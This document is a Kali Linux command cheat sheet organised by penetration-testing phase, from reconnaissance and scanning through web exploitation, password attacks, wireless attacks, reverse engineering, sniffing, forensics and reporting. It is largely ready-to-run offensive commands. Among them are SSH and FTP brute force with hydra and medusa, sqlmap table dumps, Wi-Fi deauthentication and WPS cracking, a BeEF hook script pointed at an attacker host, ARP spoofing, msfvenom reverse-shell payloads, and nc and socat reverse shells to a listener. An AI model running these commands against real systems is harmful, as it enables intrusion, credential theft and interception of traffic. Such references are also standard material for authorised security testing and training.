Kali Tools
dnsenum <domain>
→ basic DNS info (NS, MX, SOA, subdomains)
dnsenum -f <wordlist> <domain>
→ brute-force subdomains with a wordlist
dnsenum --dnsserver <dns> <domain>
→ query using a specific DNS server
dnsenum -o <prefix> <domain>
→ save results with file prefix
gobuster dir -u <url> -w <wordlist>
→ find hidden web directories
gobuster dir -u <url> -w <wordlist> -x .php,.txt
→ try common extensions
gobuster dns -d <domain> -w <wordlist>
→ brute-force subdomains
gobuster vhost -u <url> -w <wordlist>
→ brute-force virtual hosts
nmap -T4 -F <target>
→ quick scan (common ports)
sudo nmap -sS -sV -sC -O -p- <target>
→ full scan (version, scripts, OS)
sudo nmap -sU -p <ports> <target>
→ UDP scan of chosen ports
nmap -oA <prefix> <target>
→ save results in all formats
recon-ng
→ start the framework
workspaces create <name>
→ create a workspace for your target
modules load <module>
→ load a recon module
options set SOURCE <domain>
→ set the target for the module
run
→ execute the module
show hosts
→ list discovered hosts
export csv <file>
→ export results
whatweb <url>
→ quick fingerprint of site tech
whatweb -a 3 <url>
→ more aggressive detection
whatweb -v <url> -o <file>
→ verbose output and save to file
whois <domain>
→ domain registration info
whois <ip>
→ IP ownership/allocation info
02 - Vulnerability Analysis
sudo lynis audit system
→ run a full system security audit
lynis show tests
→ list available test categories
sudo lynis update info
→ update lynis data/plugins
nikto -h http://<target>
→ basic webserver scan for common issues
nikto -h https://<target> -o nikto.xml -Format xml
→ save XML report
nikto -h <target> -Tuning 2
→ limit tuning category to reduce checks
sudo systemctl status gvm
→ check GVM/OpenVAS service status
sudo gvm-feed-update
→ update vulnerability feeds (may vary by install)
- (Use the web UI at https://localhost:9392) → create target, create task, run scan
wpscan --url http://<target> --enumerate u
→ enumerate users
wpscan --url https://<target> --enumerate p,t --api-token <token>
→ enumerate plugins & themes with API token
wpscan --url <target> -o wpscan-report.txt
→ save report to file
03 - Web Exploitation
burpsuite
→ launch Burp GUI and configure browser proxy (127.0.0.1:8080)
- Use Proxy → intercept requests, send to Repeater to modify and resend
- Use Intruder → automate payloads/fuzzing (Pro has extra features)
commix -u "http://<target>/vuln.php?cmd=test"
→ test for command injection
commix -u "<url>" --os-cmd="id"
→ run a single OS command
commix --proxy=http://127.0.0.1:8080
→ route through Burp for inspection
sqlmap -u "http://<target>/page.php?id=1" --batch
→ basic automated SQLi test
sqlmap -r request.txt --dbs
→ use Burp request file to enumerate DBs
sqlmap -u "<url>" --dump -D <db> -T <table>
→ dump table data
owasp-zap
→ launch ZAP GUI and configure browser proxy (127.0.0.1:8080)
zap.sh -daemon -port 8080
→ start ZAP in headless mode (use API)
- Use Active Scanner → run automated active tests (authorized targets only)
04 - Password Attacks
cewl <url> -w <file>
→ crawl site and save wordlist
cewl -d 2 -m 5 -c <url> -w <file>
→ depth 2, min length 5, count & save
hashcat -m <mode> -a 0 hashes.txt rockyou.txt -o cracked.txt
→ dictionary attack
hashcat -m <mode> -a 3 hashes.txt ?l?l?l?l?l?l
→ brute-force mask
hashcat -m <mode> -a 6 hashes.txt rockyou.txt ?d?d
→ hybrid (wordlist + mask)
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://<host> -t 4 -f
→ SSH brute-force for single user
hydra -L users.txt -P passwords.txt ftp://<host> -t 6
→ FTP with userlist & passlist
hydra -l admin -P passwords.txt <host> http-form-post "/login.php:username=^USER^&password=^PASS^:F=incorrect"
→ HTTP form example
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
→ wordlist attack
john --show hashes.txt
→ display cracked passwords
john --incremental hashes.txt
→ incremental brute-force
medusa -h <host> -U users.txt -P passwords.txt -M ssh -t 8 -f
→ SSH brute-force
medusa -h <host> -U users.txt -P passwords.txt -M ftp
→ FTP brute-force
05 - Wireless Attacks
airmon-ng check kill
→ stop interfering services before monitor mode
airmon-ng start <iface>
→ enable monitor mode (creates mon0 or wlan0mon)
airodump-ng --bssid <BSSID> -c <channel> -w <prefix> <mon_iface>
→ capture packets/handshake
aireplay-ng --deauth 10 -a <BSSID> -c <client> <mon_iface>
→ deauth client to force handshake
aircrack-ng -w <wordlist> -b <BSSID> <capture>.cap
→ crack handshake with wordlist
sudo kismet
→ launch Kismet server and web UI (http://127.0.0.1:2501)
sudo kismet -c wifi:mon0:name=mon0
→ start with specific source
- Export pcaps via UI or kismet.conf for later analysis
sudo reaver -i mon0 -b <BSSID> -c <channel> -vv
→ brute-force WPS PIN
sudo reaver -i mon0 -b <BSSID> -c <channel> -K 1 -vv
→ try pixie-dust attack (if supported)
--mac=<mac>
→ spoof MAC to avoid rate-limits or blocks
sudo wifite
→ interactive scan and attack menu for nearby APs
sudo wifite --kill --wps --crack --dict /path/to/rockyou.txt -i mon0
→ non-interactive WPS + handshake capture + cracking
--kill
→ stops NetworkManager/wpa_supplicant while running
06 - Reverse Engineering
edb ./binary
→ open binary in Edb GUI for visual debugging
edb -p <pid>
→ attach to running process
- Use breakpoints (click) and step (F7/F8) to inspect registers/memory
gdb ./binary
→ start gdb with binary
gdb -p <pid>
→ attach to running process
break main
/ run <args>
/ info registers
/ x/32xb $rsp
→ common workflow
jadx-gui app.apk
→ open APK in GUI and browse decompiled Java
jadx -d out app.apk
→ decompile APK to folder out/
grep -R "KEY" out/
→ search decompiled sources for strings
r2 -A ./binary
→ open and auto-analyze binary
afl
→ list functions
pdf @ sym.main
→ print disassembly of main
VV
→ visual mode (interactive disassembly)
beef-xss
→ start BeEF UI (http://127.0.0.1:3000/ui/panel)
- Hook with
<script src="http://<attacker>:3000/hook.js"></script>
→ inject into vulnerable page
msfconsole
→ start Metasploit console
search <keyword>
→ find module
use exploit/...
/ set RHOSTS <ip>
/ exploit
→ run exploit
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f exe -o shell.exe
→ Windows reverse shell exe
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf -o shell.elf
→ Linux reverse shell ELF
msfvenom -p ... -f c
→ output C-style shellcode
searchsploit <keyword>
→ search Exploit-DB offline
searchsploit -m <id>
→ copy exploit to current directory
searchsploit -x <id>
→ open exploit in editor
08 - Sniffing & Spoofing
bettercap -iface <iface>
→ start Bettercap on an interface
net.probe on
/ net.recon on
→ discover hosts
arp.spoof on
/ net.sniff on
→ perform ARP MITM and sniff traffic
ettercap -T -M arp:remote /<target1>/ /<target2>/
→ ARP MITM between two hosts
ettercap -G
→ launch GUI mode
- Use plugins like
dns_spoof
for DNS hijacking
tcpdump -i eth0 -nn -c 10
→ capture 10 packets
tcpdump -i eth0 port 80 -A
→ capture and show HTTP traffic
tcpdump -i wlan0 -w capture.pcap
→ save to file for Wireshark
wireshark
→ launch GUI analyzer
- Display filters:
http
, ip.addr == <ip>
, tcp.port == 21
- Right-click packet → Follow TCP Stream → reconstruct conversation
09 - Maintaining Access
nc -lvnp 4444
→ listener on port 4444
nc <ip> 4444 -e /bin/bash
→ reverse shell to listener
nc -l -p 1234 < file.txt
/ nc <ip> 1234 > file.txt
→ file transfer
socat tcp-connect:<ip>:<port> exec:/bin/bash,pty,stderr,sigint,setsid,sane
→ reverse shell
- Listener:
socat file:\
tty`,raw,echo=0 tcp-listen:4444Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp::4444` → stable shell upgrade
socat tcp-listen:8080,reuseaddr,fork tcp:<target>:80
→ port forward
ssh user@<ip>
→ basic login
ssh -i id_rsa user@<ip>
→ login with private key
ssh -L 8080:localhost:3306 user@<ip>
→ local port forward
ssh -D 1080 user@<ip>
→ dynamic SOCKS proxy
10 - Digital Forensics
autopsy
→ launch Autopsy server and open browser UI (http://127.0.0.1:9999)
- Create case -> Add data source (image.dd) -> run ingest modules (timeline, keyword, file type)
- Export HTML/PDF report from GUI
binwalk firmware.bin
→ scan for embedded files and signatures
binwalk -e firmware.bin
→ auto-extract embedded files to _firmware.bin.extracted/
grep -R "flag{" _firmware.bin.extracted/
→ search extracted content for flags
mmls image.dd
→ show partition layout and offsets
fls -r -m / image.dd
→ list files (including deleted)
icat image.dd <inode> > recovered_file
→ extract file by inode
tsk_recover image.dd output_dir/
→ recover many files
vol.py -f memory.dmp --profile=<profile> pslist
→ (Vol2) list processes
vol -f memory.raw linux.pslist
→ (Vol3) list processes
vol -f memory.raw linux.lsof
/ netscan
→ list connections and open files
strings memory.raw | grep -i password
→ quick memory string search
11 - Reporting
docker run --rm -p 3000:3000 dradis/dradis-ce
→ quick Dradis server (Docker)
- Use web UI to create project, import Nmap/Nessus/Burp outputs, add findings, export HTML/PDF
docker-compose up -d
→ start Faraday server/client stack (depends on your compose file)
faraday-import nmap -f nmap.xml -w myworkspace
→ import Nmap into workspace (CLI helper name may vary)
- Use web UI to tag findings, add notes, and export reports
- Launch GUI -> New Graph -> add seed entities (domain/email/IP) -> run transforms
- Add API keys (Shodan, VirusTotal) in settings to enable advanced transforms
- Export graph -> PNG/CSV for reporting
12 - Other
exiftool <file>
→ show metadata for images/docs
exiftool -a -u -g1 <file>
→ show all tags including unknown/custom tags
exiftool -csv -all <file>
→ export metadata as CSV
steghide info <file>
→ check if file contains embedded data
steghide extract -sf <file> -xf <out>
→ extract embedded file (prompts for passphrase)
steghide embed -cf <cover> -ef <secret> -sf <out>
→ embed secret into cover (prompts for passphrase)
stegseek <stego-file> <wordlist> <output>
→ brute-force stego passphrase with wordlist
- Use targeted wordlists (Cewl output or rockyou) for better success
strings <file>
→ print printable strings (min length 4)
strings -n 6 <file>
→ set min length to 6 to reduce noise
strings -t x <file> | grep -i password
→ show hex offsets and search for "password"